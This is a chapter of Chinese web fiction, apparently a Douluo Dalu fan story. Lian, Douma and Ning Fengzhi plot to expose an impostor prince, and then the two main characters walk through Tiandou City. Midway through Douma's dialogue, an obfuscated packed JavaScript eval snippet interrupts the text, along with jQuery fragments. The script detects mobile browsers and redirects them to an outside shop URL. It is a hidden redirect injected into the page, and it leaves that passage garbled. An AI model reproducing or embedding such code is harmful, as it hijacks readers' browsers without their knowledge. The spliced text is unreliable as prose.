面对舅舅宁风致抛来的问题，莲并未立刻回答。


    他沉吟片刻，抬起眼帘，看向宁风致，缓缓开口，声音清晰而冷静：


    “舅舅，依我浅见，目前我们最紧要的，并非立刻拿到铁证扳倒‘雪清河’，而是首先要确保陛下的安全，延缓甚至阻止毒素的进一步侵蚀。只要陛下无恙，对方就无法顺利实现‘病逝’或‘传位’的阴谋，我们便有了更多周旋与调查的时间。”


    宁风致微微颔首，示意他继续说下去。


    莲继续道：“其次，我们需要在不惊动对方的前提下，尽可能收集更直接的证据，尤其是能证明其真实身份以及下毒阴谋的证据。这需要极其隐秘和精准地行动。”


    “至于具体方法……”莲顿了顿，彩色眼瞳中闪过一丝锐利的光芒，“或许可以从几个方面同时着手。”


    “独孤博~”童磨开口提醒道。


    莲点了点头，道：“对，独孤博前辈与我们有旧，且对武魂殿无好感，而且与雪星亲王联系密切。”


    莲用手指敲击着桌面，思索道：“可以请他去暗中诊断并尝试解毒或压制毒素。同时我们是否能寻找到可靠且精通毒理、医理的高人，为陛下提供更稳妥的防护方案。”


    宁风致眼中精光一闪：“独孤博……确实是个可行的人选。至于寻找精通药理的高人，宗门会尽力。”


    “还有就是证据收集。”莲抿了一口茶水，“对方行事缜密，常规探查很难触及核心，还极有可能会打草惊蛇轻则前面的准备前功尽弃，重则……”莲抬眼看向宁风致，“他们肯会直接对陛下下死手。”


    这么一看，收集证据反而成了最难的地方，更何况还得让雪夜信服。


    “那如果不收集证据呢~”


    在众人纠结这件事的时候，童磨的脑袋探了过来，他软绵绵的靠在莲的身上，看到视线都聚集在自己身上后，笑盈盈的开口：“可以逼迫那只假天鹅自己暴露啊~”


    被靠着的莲身体僵硬了一瞬，不过很快就恢复了过来。


    “哦？”宁风致对童磨的话产生了兴趣。


    童磨从莲身上支起身子，眼中闪烁着兴奋的光芒：“那只假天鹅现在最得意的是什么？是他伪装得天衣无缝，是他觉得整个天斗皇室、甚至包括七宝琉璃宗在内，都被他玩弄于股掌之间，陛下也渐渐落入他的慢性毒网。他觉得自己掌控一切，正在稳步走向‘合法’窃国的终点。”


    众人点头，这正是雪清河目前的心态和优势所在。


    “那么，”童磨笑得更甜了，“如果我们给他制造一个……让他觉得胜券在握、机不可失，必须立刻、马上、亲自出手，并且会因此放松一丝警惕，甚至可能暴露出非雪清河应有力量或习惯的绝佳机会呢？”


    “你是说……引蛇出洞，然后当场抓现行？”宁风致立刻明白了他的意思。这比单纯收集死证据要直接得多，但也凶险得多，需要对时机、地点、人物心理把控到极致。


    “不完全对哦~”童磨摇了摇手指，“不是我们‘抓’，而是要让那位陛下……自己‘看’到，或者，让足够多他信任的、有分量的人‘意外’撞见。”


    “当场抓现行固然好，但万一失手，或者对方反应太快销毁痕迹，反而会让我们陷入被动。最好的情况是，让陛下心中种下绝对无法消除的怀疑种子，甚至亲眼看到某些无法解释的‘破绽’。只要陛下不再完全信任他，他的计划就进行不下去了，甚至会因为焦虑而露出更多马脚。”


    莲在一旁迅速补充和完善着童磨的思路：“关键在于，这个机会必须足够有诱惑力，让他认为值得冒险，同时，场景必须自然，不能有任何我们刻意安排的痕迹。并且，要有足够可靠的观众。”


    “比如，”莲看向宁风致，“如果陛下‘偶然’得知，太子背着他，以非常规甚至隐秘的方式，接触或调动了某些……本不该由他接触的人或物？或者，在某个陛下‘临时起意’前往，而太子‘理应’毫不知情的时间和地点，撞见太子正在做一些……与‘雪清河’人设严重不符、甚至需要动用武魂殿力量的事情？”


    宁风致陷入了沉思，手指无意识地敲击着桌面。古榕和尘心也目露思索。


    童磨笑嘻嘻地补充细节：“我们可以双管齐下呀~一方面，让独孤博那边加快诊断和暗中防护，另一方面……”


    他眼中闪过一丝恶作剧般的光芒：“我们是不是可以，‘帮’那位假天鹅一把。”


    莲瞬间就明白了童磨的意思，“你的意思是故意刺激慢性毒素，让对方乱阵脚？”


    “嗯哼~”童磨可爱的歪着头，“如果这个毒提前爆发，打对方一个措不及防，被迫提前窃国计划，在准备不充分的情况下，对方会有更多的破绽吧~”


    “刺激毒素提前爆发……”宁风致缓缓重复着这几个字，声音低沉，“风险极高。若操作不当，陛下可能真的会……”


    “所以前面的准备必不可少。”莲决定引用童磨的办法，“我觉得我们可以……”


    话题并没有讨论很久，五人在用过午饭后，便分开各自忙自己的事情了。


    午后阳光正好，洒在天斗城熙攘的街道上，为这座繁华帝都镀上一层暖金色。


    莲与童磨并肩走在人群中，两人的外貌本就极为惹眼——白发彩瞳，五官精致如画，加之气质一沉静一慵懒，却都带着某种难以言喻的贵气与疏离感，引得路人频频侧目。


    只是今日，他们之间的氛围似乎与以往有所不同。


    童磨的左手十分自然地缠上了莲的右手，十指相扣，掌心相贴。他的手指修长冰凉，却牢牢将莲的手握在手中，仿佛抓住了什么稀世珍宝，不愿松开半分。


    莲有些不适应的微微僵了一瞬，却没有抽回手，任由童磨牵着。他将目光投向街道两旁琳琅满目的商铺与小摊，看似专注，耳尖却悄悄染上了一抹极淡的红。


    “莲~”童磨忽然凑近，温热的气息几乎贴着莲的耳廓，“你看那个糖人，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865685|184794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像不像我们在极北时看到的冰晶蝶？”


    他的声音甜腻中带着一丝撒娇般的尾音，与平日在他人面前那种散漫而危险的腔调截然不同。


    莲顺着他指的方向看去，确实有个老手艺人在捏糖人，其中一只蝴蝶造型灵动，薄翼上甚至还点缀着细碎的彩色糖粒。


    “嗯，有些像。”莲轻声回应，目光柔和了几分，“要买一个吗？”


    “要~”童磨立刻笑弯了眉眼，拉着莲走到摊位前，指着那只蝴蝶糖人，“老伯，这个，还有旁边那个莲花造型的，都要。”


    老手艺人乐呵呵地应下，麻利地将两个糖人递过来。童磨接过，将莲花糖人塞到莲手中，自己则拿着蝴蝶糖人，伸出粉色的舌尖，轻轻舔了一下糖翼。


    “好甜。”他满足地眯起眼，随即又转向莲，眨了眨七彩的眼瞳，“莲的，也让我尝尝？”


    不等莲反应，他已经凑过去，就着莲的手，在莲花糖人的花瓣边缘轻轻咬了一小口。动作自然亲昵，仿佛做过千百遍。


    莲的指尖几不可察地颤了一下，看着童磨近在咫尺的侧脸，那双专注品尝糖人的眼瞳在阳光下流转着迷人的光彩。他垂下眼帘，低声说：“……别闹。”


    声音里却没有多少责备，反而透着几分纵容的无奈。


    童磨笑嘻嘻地退开，重新牵起莲的手，两人继续往前走。他一边小口小口舔着糖人，一边晃着相牵的手，步伐轻快得像只偷腥成功的猫。


    “说起来，我们好久没有这样逛街了呢。”童磨忽然感慨，“上次来天斗城，还是两年前吧？那时候我们还共用一具身体，想这样牵手都不行。”


    他的语气里带着一丝怀念，更多的却是满足。


    莲轻轻“嗯”了一声，手指微微收紧，回握了童磨的手。


    是啊，能这样并肩行走，能这样光明正大地牵手，能这样清晰地感知到彼此独立却又紧密相连的存在——这是从前一体双魂时，无论如何也做不到的事。


    “说起来，”童磨忽然想起什么，“我们要怎么找独孤博？直接去他府上？还是去天斗皇家学院？”


    莲略作思索:“先去他常去的药铺碰碰运气。若不在，再去学院。”


    话音未落，身后突然传来急促的马蹄声与车轮碾压石板的轰隆声，伴随着一声粗暴的呵斥:


    “让开！都让开！”


    人群顿时骚动起来，惊呼声、推搡声四起。


    莲与童磨同时回头，只见一辆装饰华丽的四驾马车正从街道尽头疾驰而来，驾车的是个身穿皇家侍卫服饰的壮汉，手中马鞭挥舞，毫不留情地抽向来不及闪避的行人。


    马车的车窗挂着厚重的金丝绒帘，看不清内里，但车辕上刻着的皇室徽章在阳光下熠熠生辉——那是天斗皇室的标志。


    “啧，好大的排场。”童磨眯起眼，嘴角勾起一丝讥诮的弧度，“这是哪家的贵人，在天斗城纵马狂奔？”


    马车速度极快，转眼已至近前。